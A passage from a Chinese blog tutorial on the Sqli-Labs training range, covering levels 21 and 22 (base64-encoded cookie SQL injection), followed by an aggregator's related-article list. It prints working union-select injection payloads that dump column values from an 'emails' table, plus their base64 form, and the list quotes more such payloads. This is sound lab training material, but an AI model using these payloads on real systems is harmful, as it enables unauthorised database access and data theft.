? ? ? ? 可以看到成功回顯出了表 emails 中的列名,爆破其余表的列名只需要將表名字替換就可以,這里不在贅述。

爆破字段值


? ? ? ? 輸入語(yǔ)句:

0') union select 1,group_concat(id,email_id) ,3 from emails #

? ? ? ? 加密后:

????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChpZCxlbWFpbF9pZCkgLDMgZnJvbSBlbWFpbHMgIw==?

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到爆破出了表 emails 中的字段值。

????????至此第21關(guān)就結(jié)束了。

Less-22:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入


? ? ? ? 這一關(guān)和21關(guān)操作都一樣,只不過(guò)注入點(diǎn)換為了雙引號(hào),這里就不贅述了。

總結(jié)


? ? ? ? 這一篇博客我主要講了 HTTP 頭部注入中的 UA、Referer、Cookie 注入以及 base-64編碼 。如果有不會(huì)使用 Burp Suite 軟件的也可以關(guān)注一下我哦,我后續(xù)會(huì)出相關(guān)的教程詳細(xì)講解如何使用。? ? ? ??

? ? ? ??文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-728811.html

到了這里,關(guān)于基于Sqli-Labs靶場(chǎng)的SQL注入-17~22關(guān)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 【史上最全sqlmap通關(guān)sqli-labs靶場(chǎng)教程】

    【史上最全sqlmap通關(guān)sqli-labs靶場(chǎng)教程】

    下載sqlmap地址:sqlmap: automatic SQL injection and database takeover tool 下載完成后解壓在C盤(pán)或者D盤(pán)都行,自己別忘了就可以 解壓后在目標(biāo)文件夾下打開(kāi)cmd,運(yùn)行python sqlmap.py -h 運(yùn)行后出現(xiàn)sqlmap的說(shuō)明,表示安裝成功 ( 這里補(bǔ)充一下,-h其實(shí)不是完成的說(shuō)明,-hh可以獲得更多說(shuō)明, )

    2024年01月19日
    瀏覽(25)
  • 云服務(wù)器利用Docker搭建sqli-labs靶場(chǎng)環(huán)境

    云服務(wù)器利用Docker搭建sqli-labs靶場(chǎng)環(huán)境

    一、安裝寶塔面板 使用xshell、electerm、SecureCRT等遠(yuǎn)程終端連接登陸上云服務(wù)器,在Linux寶塔面板使用腳本安裝 安裝后,如下圖:按照提示,在云服務(wù)器防火墻/安全組放行Linux寶塔面板的端口 在瀏覽器打開(kāi)上述網(wǎng)址,登錄Linux寶塔面板: 二、安裝Docker 在Linux寶塔面板登陸后,在

    2024年02月10日
    瀏覽(22)
  • CTF 三大測(cè)試靶場(chǎng)搭建:DVWA、SQLi-LABS、upload-labs 靶場(chǎng)部署教程(VM + CentOS 7 + Docker)

    CTF 三大測(cè)試靶場(chǎng)搭建:DVWA、SQLi-LABS、upload-labs 靶場(chǎng)部署教程(VM + CentOS 7 + Docker)

    目錄 前言 靶場(chǎng)介紹 DVWA SQLi-LABS upload-labs 靶場(chǎng)搭建 CentOS 7 虛擬環(huán)境準(zhǔn)備 靶場(chǎng)環(huán)境部署 系統(tǒng)環(huán)境配置 Docker 環(huán)境配置 下載 Docker 配置 Docker 鏡像源 啟動(dòng) docker? 靶場(chǎng)配置 靶場(chǎng)鏡像抓取 創(chuàng)建并運(yùn)行 docker 容器 靶場(chǎng)的訪(fǎng)問(wèn)? 靶場(chǎng)的初始化 DVWA 靶場(chǎng)重置 SQLi-LABS 靶場(chǎng)重置 upload-labs 靶

    2024年01月24日
    瀏覽(43)
  • SQL注入實(shí)操(get、post基于報(bào)錯(cuò)的注入,sqlilabs靶場(chǎng))

    SQL注入實(shí)操(get、post基于報(bào)錯(cuò)的注入,sqlilabs靶場(chǎng))

    1、利用order by 判斷字段數(shù) 正確 ?id=1\\\'? 報(bào)錯(cuò) ?id=1\\\'?order by 3 --+? (編號(hào)為3正確)------可以看出為3個(gè)字段 (編號(hào)為4錯(cuò)誤) 2、union聯(lián)合注入?id=0(不存在這樣的記錄,查不到的意思)(報(bào)錯(cuò)) ?id=0\\\'?union select 1,2,3 --+? ? (聯(lián)合查詢(xún)前面查3個(gè)后面查3個(gè)) ?id=0\\\'?union select 1,database(),user() --+?

    2024年01月21日
    瀏覽(19)
  • sqli-labs關(guān)卡18(基于http頭部報(bào)錯(cuò)盲注)通關(guān)思路

    sqli-labs關(guān)卡18(基于http頭部報(bào)錯(cuò)盲注)通關(guān)思路

    此文章只用于學(xué)習(xí)和反思鞏固sql注入知識(shí),禁止用于做非法攻擊。注意靶場(chǎng)是可以練習(xí)的平臺(tái),不能隨意去尚未授權(quán)的網(wǎng)站做滲透測(cè)試!??! 1、什么是http請(qǐng)求頭 2、為什么http頭部可以進(jìn)行注入 這里我只演示sql注入常見(jiàn)的請(qǐng)求頭內(nèi)容。 1、user-agent User-Agent 首部包含了一個(gè)特征

    2024年02月05日
    瀏覽(20)
  • sqli-labs通關(guān)詳解

    sqli-labs通關(guān)詳解

    找注入點(diǎn),當(dāng)輸入id=1 and 1=2–+時(shí)沒(méi)有變化,嘗試單引號(hào)閉合找到注入類(lèi)型 字符型注入,單引號(hào)閉合 判斷字段數(shù) 找回顯點(diǎn) 發(fā)現(xiàn)有兩個(gè)回顯點(diǎn) 開(kāi)始信息收集(注意union前后格式要相同) 開(kāi)始逐級(jí)爆破 爆破數(shù)據(jù)庫(kù) 看源碼或者嘗試,沒(méi)有閉合方式,說(shuō)明為數(shù)字型注入 嘗試找到注入

    2023年04月15日
    瀏覽(23)
  • SQLI-labs-第一關(guān)

    SQLI-labs-第一關(guān)

    目錄 知識(shí)點(diǎn):?jiǎn)我?hào)字符型注入 1、根據(jù)提示,為get注入,在url中輸入內(nèi)容?編輯 ?2、判斷注入點(diǎn) ?3、判斷目前該表的字段數(shù) ?4、判斷回顯位置 5、爆庫(kù)名 6、爆表名? ?7、爆字段名 ?8、爆值 知識(shí)點(diǎn):?jiǎn)我?hào)字符型注入 思路: 1、根據(jù)提示,為get注入,在url中輸入內(nèi)容 ?

    2024年02月11日
    瀏覽(24)
  • Sqli-Labs 通關(guān)筆記

    Sqli-Labs 通關(guān)筆記

    創(chuàng)建網(wǎng)站時(shí)選擇php版本為5.x 修改./sql-connections/db-creds.inc 修改數(shù)據(jù)庫(kù)用戶(hù)名和密碼,下面的數(shù)據(jù)庫(kù)名不用管 任務(wù)目標(biāo):獲取表名 Less-1 GET - Error based - Single quotes - String(基于錯(cuò)誤的GET單引號(hào)字符型注入) sql查詢(xún)語(yǔ)句為 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 輸入 ?id=-1\\\' ,報(bào)錯(cuò)語(yǔ)句為

    2023年04月20日
    瀏覽(23)
  • sqli-labs例題復(fù)現(xiàn)

    sqli-labs例題復(fù)現(xiàn)

    less-1.1 在源碼中$id=$_GET[\\\'id\\\'];之后加入如下代碼: 1.分析正則 第一個(gè)b匹配select單詞邊界,sS匹配到所有字符,最后一個(gè)b匹配到from單詞邊界。 select...from被過(guò)濾,失效。 2.科學(xué)計(jì)數(shù)法的引入 如果可以存在一個(gè),可以加在from前面,不會(huì)影響語(yǔ)句執(zhí)行,從而實(shí)現(xiàn)繞過(guò)正則

    2024年02月10日
    瀏覽(21)
  • sqli-labs部分關(guān)思路

    目錄 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 問(wèn)題:你了解sql注入嗎 答:由于程序過(guò)濾不嚴(yán)謹(jǐn),用戶(hù)異常輸入,這些輸入會(huì)導(dǎo)致數(shù)據(jù)庫(kù)異常查詢(xún),最終導(dǎo)致sql注入 mysql三種注釋符: --+ # /**/ updatexml() 這個(gè)函數(shù)作用是替換數(shù)據(jù),三個(gè)參數(shù)對(duì)應(yīng)

    2024年02月09日
    瀏覽(21)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包